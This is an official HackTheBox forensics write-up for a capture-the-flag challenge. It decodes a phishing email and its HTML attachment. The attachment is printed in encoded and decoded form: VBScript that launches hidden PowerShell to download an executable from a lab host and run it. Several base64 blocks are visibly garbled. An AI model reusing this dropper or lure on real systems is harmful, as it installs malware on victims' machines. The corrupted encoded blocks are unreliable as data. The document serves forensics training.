



HACKTHEBOX



Urgent

29th February 2024 / Document No. D24.102.172

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Difficulty: **Very Easy**

Classification: Official

Synopsis

- A very easy forensics challenge that involves extracting and base64-decoding an attachment from an email conversation and URL-decoding the final payload.

Description

- In the midst of Cybercity's "Fray," a phishing attack targets its factions, sparking chaos. As they decode the email, cyber sleuths race to trace its source, under a tight deadline. Their mission: unmask the attacker and restore order to the city. In the neon-lit streets, the battle for cyber justice unfolds, determining the factions' destiny.

Skills Required

- Basic decoding knowledge

Skills Learned

- Base64 decoding
- URL decoding
- Extracting attachments from eml files

Enumeration

Players are given a file named `Urgent Faction Recruitment Opportunity - Join Forces Against KORP™ Tyranny.eml` which is an email conversation.

We can use any editor to inspect this file. The content of it is the following.

X-Pm-Content-Encryption: end-to-end
X-Pm-Origin: internal
Subject: =?utf-8?Q?Urgent:_Faction_Recruitment_Opportunity_-_Join_Forces_Against_KORP=E2=84=A2_Tyranny!?=
From: anonmember1337 <anonmember1337@protonmail.com>
Date: Thu, 29 Feb 2024 12:52:17 +0000
Mime-Version: 1.0
Content-Type: multipart/mixed;boundary=-----2de0b0287d8337ead36e06aee64e4e5
To: factiongroups@gmail.com <factiongroups@gmail.com>
X-Attached: onlineform.html
Message-Id: <XVhH1Dg0VTG6fCjZoHYdFUEfYdR0BppVem4t3oCwj6W21bav0RQROAiXy84P6MKLPuKJmWRPw5C529AMwxhNjJ-8rfYzkdLjazI5fEIQo=@protonmail.com>
X-Pm-Scheduled-Sent-Original-Time: Thu, 29 Feb 2024 12:52:05 +0000
X-Pm-Recipient-Authentication: factiongroups%40gmail.com=none
X-Pm-Recipient-Encryption: factiongroups%40gmail.com=none

```
-----2de0b0287d83378ead36e06aee64e4e5
Content-Type: multipart/related;boundary=-----f4c912d4b35eb7cfece5203a97c3399
```

```
Content-Type: text/html; charset=utf-8
Content-Transfer-Encoding: base64
```

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
 aXpY+

```
Content-Type: text/html; filename="onlineform.html"; name="onlineform.html"
```

Content-Transfer-Encoding: base64

```
Content-Disposition: attachment; filename="onlineform.html"; name="onlineform.html"
```

[illegible]

We can easily find some important information, such as:

- The sender: anonmember1337@protonmail.com
- The receiver: factiongroups@gmail.com

Let us find the actual content of the mail. There are two blocks. The first block contains the following headers:

- Content-Type: text/html;charset=utf-8
- Content-Transfer-Encoding: base64

So we know that it is probably some kind of text, and since we know the encoding (base64) let us use cyberchef to decode it.

Recipe

From Base64

Alphabet

A - Za - z0 - 9+/=

☒ Remove non-alphabet chars

☐ Strict mode

Input

2160

29

Raw Bytes

LI

Output

<div style="font-family: Arial, sans-serif; font-size: 14px;">Dear Fellow Faction Leader,

I hope this message reaches you in good stead amidst the chaos of The Fray. I write to you with an offer of alliance and resistance against the oppressive regime of KORPÄ•€.

It has come to my attention that KORPÄ•€ , under the guise of facilitating The Fray, seeks to maintain its stranglehold over our society. They manipulate and exploit factions for their own gain, while suppressing dissent and innovation.

But we refuse to be pawns in their game any longer. We are assembling a coalition of like-minded factions, united in our desire to challenge KORPÄ•€'s dominance and usher in a new era of freedom and equality.

Your faction has been specifically chosen for its potential to contribute to our cause. Together, we possess the

The full conversation can be found here:

```
<div style="font-family: Arial, sans-serif; font-size: 14px;"><span style="font-family: Monaco, Menlo, Consolas, &quot;Courier New&quot;; monospace; font-size: 12px; font-variant-ligatures: none; text-align: left; white-space: pre-wrap; display: inline !important; color: rgb(209, 210, 211); background-color: rgba(232, 232, 232, 0.04);">Dear Fellow Faction Leader,
```

I hope this message reaches you in good stead amidst the chaos of The Fray. I write to you with an offer of alliance and resistance against the oppressive regime of KORPÄ•ç.

It has come to my attention that KORPÄ•ç, under the guise of facilitating The Fray, seeks to maintain its stranglehold over our society. They manipulate and exploit factions for their own gain, while suppressing dissent and innovation.

But we refuse to be pawns in their game any longer. We are assembling a coalition of like-minded factions, united in our desire to challenge KORPÄ•ç's dominance and usher in a new era of freedom and equality.

Your faction has been specifically chosen for its potential to contribute to our cause. Together, we possess the skills, resources, and determination to defy KORPÄ•ç's tyranny and emerge victorious.

Join us in solidarity against our common oppressor. Together, we can dismantle the structures of power that seek to control us and pave the way for a brighter future.

Reply to this message if you share our vision and are willing to take a stand against KORPÄ•ç. Together, we will be unstoppable. Please find our online form attached.

In solidarity,

Anonymous member
Leader of the Resistance
</div>

For the next block, we have the following headers:

- Content-Type: text/html; filename="onlineform.html"; name="onlineform.html"
- Content-Transfer-Encoding: base64
- Content-Disposition: attachment; filename="onlineform.html"; name="onlineform.html"

So we know that the encoding is base64 and it is an attachment. Again, using cyberchef we will decode the file.

The screenshot shows the CyberChef web application interface. On the left, the 'Recipe' panel is active, showing a 'From Base64' operation with the 'Remove non-alphabet chars' checkbox checked. The 'Input' panel on the right contains a large block of base64-encoded text. The 'Output' panel at the bottom displays the decoded HTML content, which includes a title and a JavaScript document.write statement that outputs the decoded text. The decoded text is a message from 'Anonymous member' to 'Leader of the Resistance', discussing 'The Fray' and 'KORPÄ•ç'.

The full html page can be found here:

```
<html>
<head>
<title></title>
<body>
<script language="JavaScript" type="text/javascript">
document.write(unescape( '%3c%68%74%6d%6c%3e%0d%0a%3c%68%65%61%64%3e%0d%0a%3c%74%69%74%6c%65%3e%20%3e%5f%20%3c%2f%74%69%74%6c%65%3e%0d%0a%3c%63%65%6e%74%65%72%3e%3c%68%31%3e%34%30%34%20%4e%6f%74%20%46%6f%75%6e%64%3c%2f%68%31%3e%3c%2f%63%65%6e%74%65%72%3e%0d%0a%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%56%42%53%63%72%69%70%74%22%3e%0d%0a%53%75%62%20%77%69%6e%64%6f%77%5f%6f%6e%6c%6f%61%64%0d%0a%09%63%6f%6e%73%74%20%69%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%20%3d%20%33%0d%0a%09%43%6f%6e%73%74%20%48%49%44%44%45%4e%5f%57%49%4e%44%4f%57%20%3d%20%31%32%0d%0a%09%53%65%74%20%4c%6f%63%61%74%6f%72%20%3d%20%43%72%65%61%74%65%4f%62%6a%65%63%74%28%22%57%62%65%6d%53%63%72%69%70%74%69%6e%67%2e%53%57%62%65%6d%4c%6f%63%61%74%6f%72%22%29%0d%0a%09%53%65%74%20%53%65%72%76%69%63%65%20%3d%20%4c%6f%63%61%74%6f%72%2e%43%6f%6e%6e%65%63%74%53%65%72%76%65%72%28%29%0d%0a%09%53%65%72%76%69%63%65%2e%53%65%63%75%72%69%74%79%5f%2e%49%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%4c%65%76%65%6c%3d%69%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%0d%0a%09%53%65%74%20%6f%62%6a%53%74%61%72%74%75%70%20%3d%20%53%65%72%76%69%63%65%2e%47%65%74%28%22%57%69%6e%33%32%5f%50%72%6f%63%65%73%73%53%74%61%72%74%75%70%22%29%0d%0a%09%53%65%74%20%6f%62%6a%43%6f%6e%66%69%67%20%3d%20%6f%62%6a%53%74%61%72%74%75%70%2e%53%70%61%77%6e%49%6e%73%74%61%6e%63%65%5f%0d%0a%09%53%65%74%20%50%72%6f%63%65%73%73%20%3d%20%53%65%72%76%69%63%65%2e%47%65%74%28%22%57%69%6e%33%32%5f%50%72%6f%63%65%73%73%22%29%0d%0a%09%45%72%72%6f%72%20%3d%20%50%72%6f%63%65%73%73%2e%43%72%65%61%74%65%28%22%63%6d%64%2e%65%78%65%20%2f%63%20%70%6f%77%65%72%73%68%65%60%6c%2e%65%78%65%20%2d%77%69%6e%64%6f%77%73%74%79%6c%65%20%68%69%64%64%65%6e%20%28%4e%65%77%2d%4f%62%6a%65%63%74%20%53%79%73%74%65%6d%2e%4e%65%74%2e%57%65%62%43%6c%69%65%6e%74%29%2e%44%6f%77%6e%6c%6f%61%64%46%69%6c%65%28%27%68%74%74%70%73%3a%2f%73%74%61%6e%64%75%6e%69%74%65%64%2e%68%74%62%2f%6f%6e%6c%69%6e%65%2f%66%6f%72%6d%73%2f%66%6f%72%6d%31%2e%65%78%65%27%2c%27%25%61%70%70%64%61%74%61%25%5c%66%6f%72%6d%31%2e%65%78%65%27%3b%24%66%6c%61%67%3d%27%48%54%42%7b%34%6e%30%74%68%33%72%5f%64%34%79%5f%34%6e%30%74%68%33%72%5f%70%68%31%73%68%69%31%6e%67%5e%34%74%74%33%6d%70%54%7d%22%2c%20%6e%75%6c%6c%2c%20%6f%62%6a%43%6f%6e%66%69%67%2c%20%69%6e%74%50%72%6f%63%65%73%73%49%44%29%0d%0a%09%77%69%6e%64%6f%77%2e%63%6c%6f%73%65%28%29%0d%0a%65%6e%64%20%73%75%62%0d%0a%3c%2f%73%63%72%69%70%74%3e%0d%0a%3c%2f%68%65%61%64%3e%0d%0a%3c%2f%68%74%6d%6c%3e%0d%0a' ));
</script>
</body>
</html>
```

Solution

Cyberchef can detect the last encoding which is URL encoding .

Recipe

From Base64

Alphabet
A-Za-z0-9+/=

☒ Remove non-alphabet chars

☐ Strict mode

URL Decode

Input

MyUyZSU0hMyU3M1u2NSU2MSU3NCU2NSUyOCUyM1u2MyU2ZCU2NCUyZSU2NSU30CU2NSUyMCUyZiU2MyUyMCU3MCU2ZiU3NyU2NSU3M1u3MyU20CU2NSU2YyU2YyUyZSU2NSU30CU2NSUyMCUyZCU3NyU2OSU2ZSU2NCU2ZiU3NyU3MyU3NCU30SU2YyU2NSUyMCU20CU20SU2NCU2NCU2NSU2ZSUyMCUyOCU9ZSU2NSU3NyUyZCU0ZiU2MiU2YSU2NSU2MyU3NCUyMCU1MyU30SU3MyU3NCU2NSU2ZCUyZSU0ZSU2NSU3NCUyZSU1NyU2NSU2MiU0MyU2YyU20SU2NSU2ZSU3NCUyOSUyZSU0NCU2ZiU3NyU2ZSU2YyU2ZiU2NSU2NCU0hZiU3MiU2ZCU3MyUyZiU2NiU2ZiU3MiU2ZCU2MSUyZSU2NSU30CU2NSUyNyUyYyNyUyNSU2MSU3MCU3MCU2NCU2MSU3NCU2MSUyNSU1YyU2NiU2ZiU3MiU2ZCU2MSUyZSU2NSU30CU2NSUyNyUyOSU2YiU1MyU3NCU2MSU3MiU3NCUyZCU1MCU3MiU2ZiU2MyU2NSU3MyU43MyUyMCUyNyUyNSU2MSU3MCU3MCU2NCU2MSU3NCU2MSUyNSU1YyU2NiU2ZiU3MiU2ZCU2MSUyZSU2NSU30CU2NSUyNyU2YiUyNCU2NiU2YyU2MSU2NyU2ZCUyNyU0OCU1NCU0MiU3YiU2NCU2ZSU2MCU3NCU20CU2MyU3M1U2iU2NCU2NCU30SU1ZiU2NCU2ZSU2MCU3NCU20CU2MyU3M1U2iU3MCU20CU2MSU3MyU20CU2OSU2MSU2ZSU2NyU1ZiU2NCU3NCU3NCU2MyU2ZCU3MCU1NCU3ZCUyM1YyYyYyMCU2ZSU3NSU3ZyU2YyUyYyYyMCU2ZiU2MiU2YSU0MyU2ZiU2ZSU2NiU20SU2NyUyYyYyMCU20SU2ZSU3NCU3MSU3MiU2ZiU2MyU2NSU3MyU3MyU0S0NCUyOSUwZCUwYSUw0SU3NyU20SU2ZSU2NCU2ZiU3NyUyZSU2MyU2YyU2ZiU3MyU2NSUyOCUyOSUwZCUwYSU2NSU2ZSU2NCUyMCU3MyU3NSU2MiUwZCUwYSU2YyUyZiU3MyU2MyU3MiU20SU3MCU3NCU2ZSUwZCUwYSU2YyUyZiU20CU2NSU2MSU2NCU2ZSUwZCUwYSU2YyUyZiU20CU3NCU2ZCU2YyU2ZSUwZCUwYScPKTsNCjwvc2NyaXB0PgKPC9ib2R5PgKPC9odG91sPgK

3635 48

Raw Bytes LF

Output

const impersonation = 12;const hidden_window = 12;Set Locator = CreateObject("WbemScripting.SwbemLocator");Set Service = Locator.ConnectServer();Service.Security_.ImpersonationLevel=impersonation;Set objStartup = Service.Get("Win32_ProcessStartup");Set objConfig = objStartup.SpawnInstance;Set Process = Service.Get("Win32_Process");Error = Process.Create("cmd.exe /c powershell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://standunited.htb/online/forms/Form1.exe','%appdata%\form1.exe');Start-Process '%appdata%\form1.exe';\$flag=", null, objConfig, intProcessID);window.close();end sub</script></head></html>